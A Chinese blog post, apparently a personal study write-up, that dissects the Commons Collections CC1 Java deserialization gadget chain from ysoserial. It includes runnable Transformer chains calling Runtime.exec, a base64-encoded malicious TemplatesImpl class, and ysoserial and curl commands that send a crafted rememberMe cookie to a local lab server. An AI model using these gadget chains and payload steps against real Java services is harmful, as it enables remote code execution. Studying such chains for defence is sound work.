Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5
2652 字
13 分钟
Commons Collections反序列化链核心组件剖析与攻击链路复盘

Commons Collections反序列化链核心组件剖析与攻击链路复盘#

声明#

  1. 本文为个人学习java反序列化时,对于ysoserial中的cc链路的实现原理的学习过程简单记录,主要用于个人技术学习,许多分析仅供参考,若有错误之处希望得到指正。
  2. ysoserial的下载地址为’https://github.com/frohoff/ysoserial’
  3. 文章组织思路和原理分析主要参考了以下两篇大佬的文章,讲的都很详细:
  1. 由于时间有限,cc链路分析会不定期更新,希望能早日补全,现在更新到cc1。

常用Transformer及重要辅助类代码分析#

ConstantTransformer核心代码分析#

public class ConstantTransformer implements Transformer, Serializable {
// 序列化版本号,用于反序列化时校验版本一致性
static final long serialVersionUID = 6374440726369055124L;
// 一个创建好的返回null的转换器实例
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
// (重要)iConstant:用于存储要固定返回的对象
private final Object iConstant;
// 一个静态方法,用于获取一个ConstantTransformer实例
public static Transformer getInstance(Object constantToReturn) {
// 如果传入的是 null,就返回上面预先创建好的NULL_INSTANCE,不是null则new一个ConstantTransformer对象
return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
}
// 接收一个对象(接收的constantToReturn)赋值给iConstant,即下面transform方法要固定返回的那个值
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
// (重要)实现了Transformer接口的transform方法,input:传入的任意对象,返回值:直接返回iConstant。
public Object transform(Object input) {
return this.iConstant;
}
......
}

InvokerTransformer核心代码分析#

public class InvokerTransformer implements Transformer, Serializable {
static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName; //调用方法名
private final Class[] iParamTypes; //调用参数类型
private final Object[] iArgs; //调用参数值
......
// 构造函数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
// transform方法核心部分
// 1. 获取输入对象的 Class 类型
Class cls = input.getClass();
// 2. 根据方法名和参数类型,从Class中获取Method对象
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //下面测试代码中调用此句在runtime.class中拿到exec方法
// 3. 反射调用该方法,传入参数值,并返回执行结果
return method.invoke(input, this.iArgs);
} catch ......
}
}
}

InvokerTransformer可运行测试代码#

(本文许多测试代码参考的声明中文章1中给出的测试代码并改编和补全,本段目的执行exec calc)

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Test {
public static void main(String[] args) {
//新建一个InvokerTransformer实例,传入待执行方法,参数和值
Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//该实例调用transform方法,
transformer.transform(Runtime.getRuntime());
}
}

clac1

InstantiateTransformer核心代码分析#

  • 作用:transform()方法接收了一个Class类型的对象,通过getConstructor(this.iParamTypes)获取参数数组匹配对应的构造方法,之后通过newInstance(this.iArgs)创建类实例。
public class InstantiateTransformer<T> implements Transformer<Class<? extends T>, T>, Serializable {
private static final long serialVersionUID = 3786388740793356347L;
private static final Transformer NO_ARG_INSTANCE = new InstantiateTransformer();
private final Class<?>[] iParamTypes;
private final Object[] iArgs;
//构造函数:
public InstantiateTransformer(Class<?>[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes != null ? (Class[])((Class;)paramTypes).clone() : null;
this.iArgs = args != null ? (Object[])((Object;)args).clone() : null;
}
//重写了transform方法,使得
public T transform(Class<? extends T> input) {
try {
if (input == null) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a null object");
} else {
// 根据参数数组匹配对应的构造方法
Constructor<? extends T> con = input.getConstructor(this.iParamTypes);
// 用参数值调用构造方法创建对象
return (T)con.newInstance(this.iArgs);
}
} catch ......
}
}

ChainedTransformer核心代码分析#

public class ChainedTransformer<T> implements Transformer<T, T>, Serializable {
private static final long serialVersionUID = 3514945074733160196L;
//声明了一个私有不可变的Transformer数组
private final Transformer<? super T, ? extends T>[] iTransformers;
private ChainedTransformer(boolean clone, Transformer<? super T, ? extends T>[] transformers) {
this.iTransformers = clone ? FunctorUtils.copy(transformers) : transformers;
}
public ChainedTransformer(Transformer<? super T, ? extends T>... transformers) {
this(true, transformers);//相当于this.iTransformers = transformers.clone();
}
//(重要)重写transform方法:链式调用Transformer[]中每个Transformer的transform方法
public T transform(T object) {
for(Transformer<? super T, ? extends T> iTransformer : this.iTransformers) {
object = (T)iTransformer.transform(object);
}
return object;
}
}

ChainedTransformer可运行测试代码(执行exec calc)#

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class Test {
public static void main(String[] args) {
// 构建 Transformer 链
Transformer[] transformers = {
// 返回 Runtime.class
new ConstantTransformer(Runtime.class),
// 获取 getMethod
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// 调用 getRuntime
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 执行 calc
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 组装并执行
ChainedTransformer chain = new ChainedTransformer(transformers);
chain.transform(null);
}
}

clac2

LazyMap核心代码分析#

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
private static final long serialVersionUID = 7990956402564206740L;
protected final Transformer factory;
// 静态方法创建LazyMap对象(如 Map lazyMap = LazyMap.decorate(map, factory);)
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
// 将map传给父类保存,保留factory
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
// 核心方法
public Object get(Object key) {
if (!super.map.containsKey(key)) { // 1.检查是否存在
Object value = this.factory.transform(key); // 2.利用key生成值
super.map.put(key, value); // 3.放入底层map
return value; // 4. 返回生成值
} else {
return super.map.get(key); // 直接返回已有值
}
}
}

LazyMap可运行测试代码(执行exec calc)#

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) {
// Transformer数组:定义调用链
Transformer[] transformers = new Transformer[] {
// 第1步:返回Runtime.class对象
new ConstantTransformer(Runtime.class),
// 第2步:通过反射调用Runtime.class上的getMethod方法,传入参数"getRuntime"和new Class[0],从而获取到代表Runtime.getRuntime()方法的Method对象。
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
// 第3步:Method.invoke(null, null),执行Runtime.getRuntime(),返回Runtime实例
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
// 第4步:调用Runtime.exec("calc"),执行系统命令,弹出计算器
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
};
// 2. 把4个Transformer串成一个责任链
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 3. 创建 LazyMap,使用chainedTransformer作为工厂
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap, chainedTransformer);
// 4. 触发:获取不存在的key"test"
// 因为key不存在,LazyMap调用chainedTransformer.transform("test")
// 于是上面的4步调用链依次执行,最终弹出计算器
lazyMap.get("test");
}
}

clac3

TemplatesImpl核心代码分析#

public final class TemplatesImpl implements Serializable {
private static String ABSTRACT_TRANSLET = "org.apache.xalan.xsltc.runtime.AbstractTranslet"; // 必须继承的父类
private byte[][] _bytecodes = null; // 存储恶意字节码
private Class[] _class = null; // 存储加载后的类
private int _transletIndex = -1;
private String _name = null;
private transient TransformerFactoryImpl _tfactory = null;
// 1.defineTransletClasses()方法:创建类加载器、加载字节码、标记主类
private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) {
throw new TransformerConfigurationException("No bytecodes");
} //不能为空
// 创建自定义类加载器
TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(
new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
}
);
// 遍历字节码数组,逐个定义类
int classCount = _bytecodes.length;
_class = new Class[classCount];
for (int i = 0; i < classCount; i++) {
// 通过字节码加载恶意类
_class[i] = loader.defineClass(_bytecodes[i]);
Class superClass = _class[i].getSuperclass();
// 检查是否继承AbstractTranslet(标记为主类)
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
}
// 必须存在继承AbstractTranslet的主类,否则后续强转和实例化会失败
if (_transletIndex < 0) {
throw new TransformerConfigurationException("No main translet");
}
}
// 2.getTransletInstance()方法:实例化类(执行恶意代码)
private Translet getTransletInstance() throws TransformerConfigurationException {
if (_name == null) return null;
if (_class == null) {
defineTransletClasses(); // 触发类加载,跳转1
}
// 核心: 实例化恶意类
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization(); // 执行点
return translet;
}
// 3.入口方法: newTransformer()
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer = new TransformerImpl(
getTransletInstance(), // 触发整个链,跳转2
this._outputProperties,
this._indentNumber,
this._tfactory
);
return transformer;
}
}

TemplatesImpl可运行测试代码(执行exec calc)#

  1. 首先编写继承AbstractTranslet类的源码,编译为class文件。
package ysoserial.test.util;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet {
public Test() {
super();
try{
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
  1. 使用base64 -w 0 Test.class拿到payload: yv66vgAAADIANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTHlzb3NlcmlhbC90ZXN0L3V0aWwvVGVzdDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAkACgcALgwALwAwAQAEY2FsYwwAMQAyAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMwAKAQAYeXNvc2VyaWFsL3Rlc3QvdXRpbC9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAfAACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAwAMAAAAGgAGAAAACwAEAA0ADQAQABAADgARAA8AFQARAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAASAAAAEAAC/wAQAAEHABMAAQcAFAQAAQAVABYAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABUADQAAACAAAwAAAAEAEAARAAAAAAABABcAGAABAAAAAQAZABoAAgAbAAAABAABABwAAQAVAB0AAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAABkADQAAACoABAAAAAEAEAARAAAAAAABABcAGAABAAAAAQAeAB8AAgAAAAEAIAAhAAMAGwAAAAQAAQAcAAEAIgAAAAIAIw==
  2. 编写测试代码,成功弹出计算器。
package ysoserial.test.util;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.lang.reflect.Field;
import java.util.Base64;
public class Test {
//通过反射突破private限制
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws TransformerConfigurationException {
//恶意字节码
byte[] code = Base64.getDecoder().decode("yv66vgAAADIANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTHlzb3NlcmlhbC90ZXN0L3V0aWwvVGVzdDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAkACgcALgwALwAwAQAEY2FsYwwAMQAyAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMwAKAQAYeXNvc2VyaWFsL3Rlc3QvdXRpbC9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAfAACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAwAMAAAAGgAGAAAACwAEAA0ADQAQABAADgARAA8AFQARAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAASAAAAEAAC/wAQAAEHABMAAQcAFAQAAQAVABYAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABUADQAAACAAAwAAAAEAEAARAAAAAAABABcAGAABAAAAAQAZABoAAgAbAAAABAABABwAAQAVAB0AAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAABkADQAAACoABAAAAAEAEAARAAAAAAABABcAGAABAAAAAQAeAB8AAgAAAAEAIAAhAAMAGwAAAAQAAQAcAAEAIgAAAAIAIw==");
//反射设置 Field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "Test");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
// 调用newTransformer()时,TemplatesImpl会依次执行逻辑
templates.newTransformer();
}
}

calc4

ysoserial中的cc攻击链路分析#

cc1详细链路#

  1. 首先阅读ysoserial中的CommonsCollections1.java文件,在顶部有关于攻击链的注释,简单来说:利用AnnotationInvocationHandler在反序列化时对memberValues(传入的Map)的操作,通过动态代理将readObject事件伪装成对LazyMap的get()调用,从而触发ChainedTransformer的责任链,依次执行ConstantTransformer和多个InvokerTransformer,通过反射最终完成Runtime.getRuntime().exec(command)的任意命令执行。 cc1
  2. 前面LazyMap测试代码讲解已经说明了LazyMap的get()调用到触发ChainedTransformer链及之后的流程,这里则对于AnnotaionInvocationHandler部分进行补充:
  • readObject方法:反序列化入口
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
// 执行反序列化
s.defaultReadObject();
// 获取注解的类型信息,用于校验
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
// 获取注解中所有已定义成员的名称和类型
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// 核心触发点
// 遍历反序列化恢复的memberValues(这是一个 Map),并调用entrySet()方法获取其所有键值对
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
// ...
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
// ...
}
}
  • invoke方法(当代理对象上的方法被调用时,此方法会被自动触发)
public Object invoke(Object proxy, Method method, Object[] args) {
// ......
// 获取被调用的方法名和参数类型
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// 核心触发点
if (paramTypes.length == 0) { // 如果是无参方法
// 从memberValues(这里是真正的LazyMap对象)中,以方法名(member)为键获取值
Object result = memberValues.get(member);
// ...
} else {
// ... 处理有参方法...
}
}
  1. CC1链简单测试
  • 简单在本机(windows)用ai搭建了一个存在漏洞的环境(使用影响版本内的jdk7u80编译),参照的shiro反序列化的环境并简化(对传入的cookie的rememberMe参数取值并触发base64解码和触发readobject),注意用cmd执行(PS的重定向默认以UTF-16 LE的文本格式处理输出)F:\tools\environment\jdk7u80\bin\java.exe -jar F:\tools\serialize\ysoserial-all.jar CommonsCollections1 "calc.exe" > payload.ser来生成payload二进制文件,再用curl携带base64编码后的恶意cookie值构造request请求(POST/GET都可以)curl -H "Cookie: rememberMe=$(base64 -w0 payload.ser)" http://192.168.111.1:8080/,成功在windows主机弹出计算器。 cc1t

cc?详细链路#

  1. 施工中喵…
Commons Collections反序列化链核心组件剖析与攻击链路复盘
https://www.dxowo8.top/posts/post-36/36/
作者
Ne+N3k_O
发布于
2026-08-13
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时